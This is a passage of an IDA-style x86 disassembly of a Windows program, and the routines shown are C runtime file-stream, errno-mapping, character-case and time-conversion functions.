; ---------------------------------------------------------------------------


loc_412C58:				; CODE XREF: sub_412BBE+Ej
					; sub_412BBE+2Fj
		and	dword_481DC0, 0
		mov	dword_481DBC, 9


loc_412C69:				; CODE XREF: sub_412BBE+94j
		or	eax, 0FFFFFFFFh


loc_412C6C:				; CODE XREF: sub_412BBE+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_412BBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C71	proc near		; CODE XREF: sub_40D9CA+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_412C9A
		test	al, 8
		jz	short loc_412C9A
		push	dword ptr [esi+8]
		call	sub_40CD81
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_412C9A:				; CODE XREF: sub_412C71+Aj
					; sub_412C71+Ej
		pop	esi
		retn
sub_412C71	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C9C	proc near		; CODE XREF: sub_412D3C+2Dp
					; sub_412D3C+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_412CAE
		push	esi
		call	sub_412D3C
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412CAE:				; CODE XREF: sub_412C9C+7j
		push	esi
		call	sub_412CD7
		test	eax, eax
		pop	ecx
		jz	short loc_412CBE
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412CBE:				; CODE XREF: sub_412C9C+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_412CD3
		push	dword ptr [esi+10h]
		call	sub_415753
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_412CD3:				; CODE XREF: sub_412C9C+26j
		xor	eax, eax
		pop	esi
		retn
sub_412C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412CD7	proc near		; CODE XREF: sub_40D9CA+1Ap
					; sub_40EAF8+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_412D24
		test	ax, 108h
		jz	short loc_412D24
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_412D24
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4147CC
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_412D1D
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_412D24
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_412D24
; ---------------------------------------------------------------------------


loc_412D1D:				; CODE XREF: sub_412CD7+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_412D24:				; CODE XREF: sub_412CD7+14j
					; sub_412CD7+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_412CD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D33	proc near		; CODE XREF: sub_414A88p
		push	1
		call	sub_412D3C
		pop	ecx
		retn
sub_412D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D3C	proc near		; CODE XREF: sub_412C9C+Ap
					; sub_412D33+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4830C0, esi
		jle	short loc_412D9A


loc_412D4D:				; CODE XREF: sub_412D3C+5Cj
		mov	eax, dword_4820B0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_412D91
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_412D91
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_412D77
		push	eax
		call	sub_412C9C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412D91
		inc	ebx
		jmp	short loc_412D91
; ---------------------------------------------------------------------------


loc_412D77:				; CODE XREF: sub_412D3C+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_412D91
		test	cl, 2
		jz	short loc_412D91
		push	eax
		call	sub_412C9C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412D91
		or	edi, eax


loc_412D91:				; CODE XREF: sub_412D3C+1Bj
					; sub_412D3C+23j ...
		inc	esi
		cmp	esi, dword_4830C0
		jl	short loc_412D4D


loc_412D9A:				; CODE XREF: sub_412D3C+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_412DA5
		mov	eax, edi


loc_412DA5:				; CODE XREF: sub_412D3C+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412D3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DA9	proc near		; CODE XREF: sub_40DA20+A9p
					; sub_40E9CE+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_412E7D
		test	al, 40h
		jnz	loc_412E7D
		test	al, 2
		jz	short loc_412DCF
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_412E7D
; ---------------------------------------------------------------------------


loc_412DCF:				; CODE XREF: sub_412DA9+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_412DE3
		push	esi
		call	sub_414979
		pop	ecx
		jmp	short loc_412DE8
; ---------------------------------------------------------------------------


loc_412DE3:				; CODE XREF: sub_412DA9+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_412DE8:				; CODE XREF: sub_412DA9+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_412E82
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_412E6C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412E6C
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_412E41
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_412E2A
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4830E0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_412E2F
; ---------------------------------------------------------------------------


loc_412E2A:				; CODE XREF: sub_412DA9+6Bj
		mov	edi, offset dword_4222F8


loc_412E2F:				; CODE XREF: sub_412DA9+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_412E41
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_412E41:				; CODE XREF: sub_412DA9+62j
					; sub_412DA9+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_412E5E
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_412E5E
		test	ch, 4
		jnz	short loc_412E5E
		mov	dword ptr [esi+18h], 1000h


loc_412E5E:				; CODE XREF: sub_412DA9+9Fj
					; sub_412DA9+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412E6C:				; CODE XREF: sub_412DA9+55j
					; sub_412DA9+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_412E7D:				; CODE XREF: sub_412DA9+Aj
					; sub_412DA9+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_412DA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E82	proc near		; CODE XREF: sub_40DA20+90p
					; sub_412DA9+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4831E0
		jnb	loc_41305F
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4830E0h[eax*4]
		mov	eax, dword_4830E0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41305F
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_412F37
		test	dl, 2
		jnz	short loc_412F37
		test	dl, 48h
		jz	short loc_412EF7
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_412EF7
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_412EF7:				; CODE XREF: sub_412E82+56j
					; sub_412E82+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_418154	; ReadFile
		test	eax, eax
		jnz	short loc_412F4A
		call	dword_418044	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_412F32
		mov	dword_481DBC, 9
		mov	dword_481DC0, ecx
		jmp	loc_413070
; ---------------------------------------------------------------------------


loc_412F32:				; CODE XREF: sub_412E82+99j
		cmp	eax, 6Dh
		jnz	short loc_412F3E


loc_412F37:				; CODE XREF: sub_412E82+4Cj
					; sub_412E82+51j
		xor	eax, eax
		jmp	loc_413073
; ---------------------------------------------------------------------------


loc_412F3E:				; CODE XREF: sub_412E82+B3j
		push	eax
		call	sub_413260
		pop	ecx
		jmp	loc_413070
; ---------------------------------------------------------------------------


loc_412F4A:				; CODE XREF: sub_412E82+8Cj
		mov	eax, [ebx]


loc_412F4C:				; DATA XREF: .nsp0:off_41FAE0o
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41305A
		test	edx, edx
		jz	short loc_412F6F
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_412F6F
		or	al, 4
		jmp	short loc_412F71
; ---------------------------------------------------------------------------


loc_412F6F:				; CODE XREF: sub_412E82+E2j
					; sub_412E82+E7j
		and	al, 0FBh


loc_412F71:				; CODE XREF: sub_412E82+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_413054


loc_412F89:				; CODE XREF: sub_412E82+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_413044
		cmp	al, 0Dh
		jz	short loc_412FA5
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_413036
; ---------------------------------------------------------------------------


loc_412FA5:				; CODE XREF: sub_412E82+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_412FC3
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_412FBA
		add	[ebp+arg_8], 2
		jmp	short loc_413018
; ---------------------------------------------------------------------------


loc_412FBA:				; CODE XREF: sub_412E82+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_413036
; ---------------------------------------------------------------------------


loc_412FC3:				; CODE XREF: sub_412E82+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_418154	; ReadFile
		test	eax, eax
		jnz	short loc_412FEB
		call	dword_418044	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_413032


loc_412FEB:				; CODE XREF: sub_412E82+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_413032
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41300D
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_413018
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_413036
; ---------------------------------------------------------------------------


loc_41300D:				; CODE XREF: sub_412E82+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41301D
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41301D


loc_413018:				; CODE XREF: sub_412E82+136j
					; sub_412E82+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_413035
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_412E82+18Ej
					; sub_412E82+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_413BAD
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_413036


loc_413032:				; CODE XREF: sub_412E82+167j
					; sub_412E82+16Dj
		mov	byte ptr [edi],	0Dh


loc_413035:				; CODE XREF: sub_412E82+199j
		inc	edi


loc_413036:				; CODE XREF: sub_412E82+11Ej
					; sub_412E82+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_412F89
		jmp	short loc_413054
; ---------------------------------------------------------------------------


loc_413044:				; CODE XREF: sub_412E82+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_413054
		or	al, 2
		mov	[esi], al


loc_413054:				; CODE XREF: sub_412E82+101j
					; sub_412E82+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41305A:				; CODE XREF: sub_412E82+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_413073
; ---------------------------------------------------------------------------


loc_41305F:				; CODE XREF: sub_412E82+12j
					; sub_412E82+39j
		and	dword_481DC0, 0
		mov	dword_481DBC, 9


loc_413070:				; CODE XREF: sub_412E82+ABj
					; sub_412E82+C3j
		or	eax, 0FFFFFFFFh


loc_413073:				; CODE XREF: sub_412E82+B7j
					; sub_412E82+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412E82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413078	proc near		; CODE XREF: sub_40DDA8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_481FC0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4130B1
		cmp	al, 72h
		jz	short loc_4130AA
		cmp	al, 77h
		jnz	loc_4131C5
		mov	ecx, 301h
		jmp	short loc_4130B6
; ---------------------------------------------------------------------------


loc_4130AA:				; CODE XREF: sub_413078+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4130B9
; ---------------------------------------------------------------------------


loc_4130B1:				; CODE XREF: sub_413078+1Dj
		mov	ecx, 109h


loc_4130B6:				; CODE XREF: sub_413078+30j
		or	esi, 2


loc_4130B9:				; CODE XREF: sub_413078+37j
		push	1
		pop	edx


loc_4130BC:				; CODE XREF: sub_413078+8Bj
					; sub_413078+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4131AB
		cmp	edx, ebx
		jz	loc_4131AB
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41314A
		jz	short loc_41313A
		sub	eax, 2Bh
		jz	short loc_413124
		sub	eax, 19h
		jz	short loc_41311A
		sub	eax, 0Eh
		jz	short loc_413105
		dec	eax
		jnz	loc_41319C
		cmp	[ebp+var_4], ebx
		jnz	loc_41319C
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_413105:				; CODE XREF: sub_413078+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41319C
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413078+6Aj
		test	cl, 40h
		jnz	short loc_41319C
		or	ecx, 40h
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_413124:				; CODE XREF: sub_413078+65j
		test	cl, 2
		jnz	short loc_41319C
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4130BC
; ---------------------------------------------------------------------------


loc_41313A:				; CODE XREF: sub_413078+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41319C
		or	ecx, eax
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_41314A:				; CODE XREF: sub_413078+5Ej
		sub	eax, 62h
		jz	short loc_413197
		dec	eax
		jz	short loc_413180
		sub	eax, 0Bh
		jz	short loc_413169
		sub	eax, 6
		jnz	short loc_41319C
		test	ch, 0C0h
		jnz	short loc_41319C
		or	ch, 40h
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_413169:				; CODE XREF: sub_413078+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41319C
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_413180:				; CODE XREF: sub_413078+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41319C
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_413197:				; CODE XREF: sub_413078+D5j
		test	ch, 0C0h
		jz	short loc_4131A3


loc_41319C:				; CODE XREF: sub_413078+72j
					; sub_413078+7Bj ...
		xor	edx, edx
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_4131A3:				; CODE XREF: sub_413078+122j
		or	ch, 80h
		jmp	loc_4130BC
; ---------------------------------------------------------------------------


loc_4131AB:				; CODE XREF: sub_413078+4Aj
					; sub_413078+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_4157AA
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4131C9


loc_4131C5:				; CODE XREF: sub_413078+25j
		xor	eax, eax
		jmp	short loc_4131E3
; ---------------------------------------------------------------------------


loc_4131C9:				; CODE XREF: sub_413078+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_481F80
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4131E3:				; CODE XREF: sub_413078+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413078	endp


; =============== S U B	R O U T	I N E =======================================



sub_4131E8	proc near		; CODE XREF: sub_40DDA8p
		mov	edx, dword_4830C0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_413259
		mov	ebx, dword_4820B0
		mov	edi, ebx


loc_413204:				; CODE XREF: sub_4131E8+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41321F
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41321A
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_413204
		jmp	short loc_413259
; ---------------------------------------------------------------------------


loc_41321A:				; CODE XREF: sub_4131E8+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_413243
; ---------------------------------------------------------------------------


loc_41321F:				; CODE XREF: sub_4131E8+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_40CCCF
		pop	ecx
		mov	ecx, dword_4820B0
		mov	[edi+ecx], eax
		mov	eax, dword_4820B0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_413259
		mov	esi, edi


loc_413243:				; CODE XREF: sub_4131E8+35j
		cmp	esi, ebp
		jz	short loc_413259
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_413259:				; CODE XREF: sub_4131E8+12j
					; sub_4131E8+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4131E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_413260	proc near		; CODE XREF: sub_40DE14+16p
					; sub_40EA57+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_481DC0, ecx
		mov	eax, offset dword_422010


loc_413271:				; CODE XREF: sub_413260+1Ej
		cmp	ecx, [eax]
		jz	short loc_413295
		add	eax, 8
		inc	edx
		cmp	eax, offset byte_422178
		jl	short loc_413271
		cmp	ecx, 13h
		jb	short loc_4132A2
		cmp	ecx, 24h
		ja	short loc_4132A2
		mov	dword_481DBC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_413295:				; CODE XREF: sub_413260+13j
		mov	eax, dword_422014[edx*8]
		mov	dword_481DBC, eax
		retn
; ---------------------------------------------------------------------------


loc_4132A2:				; CODE XREF: sub_413260+23j
					; sub_413260+28j
		cmp	ecx, 0BCh
		jb	short loc_4132BC
		cmp	ecx, 0CAh
		mov	dword_481DBC, 8
		jbe	short locret_4132C6


loc_4132BC:				; CODE XREF: sub_413260+48j
		mov	dword_481DBC, 16h

locret_4132C6:				; CODE XREF: sub_413260+5Aj
		retn
sub_413260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132C7	proc near		; CODE XREF: sub_40E0C3+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_481E4C, 0
		push	ebx
		jnz	short loc_4132F2
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_413390
		cmp	eax, 7Ah
		jg	loc_413390
		sub	eax, 20h
		jmp	loc_413390
; ---------------------------------------------------------------------------


loc_4132F2:				; CODE XREF: sub_4132C7+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_413325
		cmp	dword_422004, 1
		jle	short loc_413312
		push	2
		push	ebx
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_41331D
; ---------------------------------------------------------------------------


loc_413312:				; CODE XREF: sub_4132C7+3Dj
		mov	eax, off_421DF8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41331D:				; CODE XREF: sub_4132C7+49j
		test	eax, eax
		jnz	short loc_413325


loc_413321:				; CODE XREF: sub_4132C7+AFj
		mov	eax, ebx
		jmp	short loc_413390
; ---------------------------------------------------------------------------


loc_413325:				; CODE XREF: sub_4132C7+34j
					; sub_4132C7+58j
		mov	edx, off_421DF8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_413348
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_413351
; ---------------------------------------------------------------------------


loc_413348:				; CODE XREF: sub_4132C7+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_413351:				; CODE XREF: sub_4132C7+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_481E4C
		call	sub_413455
		add	esp, 20h
		test	eax, eax
		jz	short loc_413321
		cmp	eax, 1
		jnz	short loc_413383
		movzx	eax, [ebp+var_4]
		jmp	short loc_413390
; ---------------------------------------------------------------------------


loc_413383:				; CODE XREF: sub_4132C7+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_413390:				; CODE XREF: sub_4132C7+14j
					; sub_4132C7+1Dj ...
		pop	ebx
		leave
		retn
sub_4132C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413393	proc near		; CODE XREF: sub_40E2E2+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41344F
		cmp	ebx, 8Ah
		jg	loc_41344F
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_42272C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4133D2
		cmp	edi, 2
		jle	short loc_4133D2
		inc	esi


loc_4133D2:				; CODE XREF: sub_413393+37j
					; sub_413393+3Cj
		call	sub_415A63
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_422648
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_413445
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41344B
		cmp	dword_42264C, 0
		jz	short loc_41344B
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_415CD6
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41344B


loc_413445:				; CODE XREF: sub_413393+90j
		add	ecx, dword_422650


loc_41344B:				; CODE XREF: sub_413393+96j
					; sub_413393+9Fj ...
		mov	eax, ecx
		jmp	short loc_413452
; ---------------------------------------------------------------------------


loc_41344F:				; CODE XREF: sub_413393+13j
					; sub_413393+1Fj
		or	eax, 0FFFFFFFFh


loc_413452:				; CODE XREF: sub_413393+BAj
		pop	ebx
		leave
		retn
sub_413393	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413455	proc near		; CODE XREF: sub_40E530+A3p
					; sub_4132C7+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418870
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_481E40, edi
		jnz	short loc_4134CB
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_418868
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_41815C	; LCMapStringW
		test	eax, eax
		jz	short loc_4134A9
		mov	dword_481E40, ebx
		jmp	short loc_4134CB
; ---------------------------------------------------------------------------


loc_4134A9:				; CODE XREF: sub_413455+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4242EC
		push	esi
		push	edi
		call	dword_418158	; LCMapStringA
		test	eax, eax
		jz	loc_4135E3
		mov	dword_481E40, 2


loc_4134CB:				; CODE XREF: sub_413455+2Ej
					; sub_413455+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_4134E0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41740C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4134E0:				; CODE XREF: sub_413455+79j
		mov	eax, dword_481E40
		cmp	eax, 2
		jnz	short loc_413507
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_418158	; LCMapStringA
		jmp	loc_4135E5
; ---------------------------------------------------------------------------


loc_413507:				; CODE XREF: sub_413455+93j
		cmp	eax, 1
		jnz	loc_4135E3
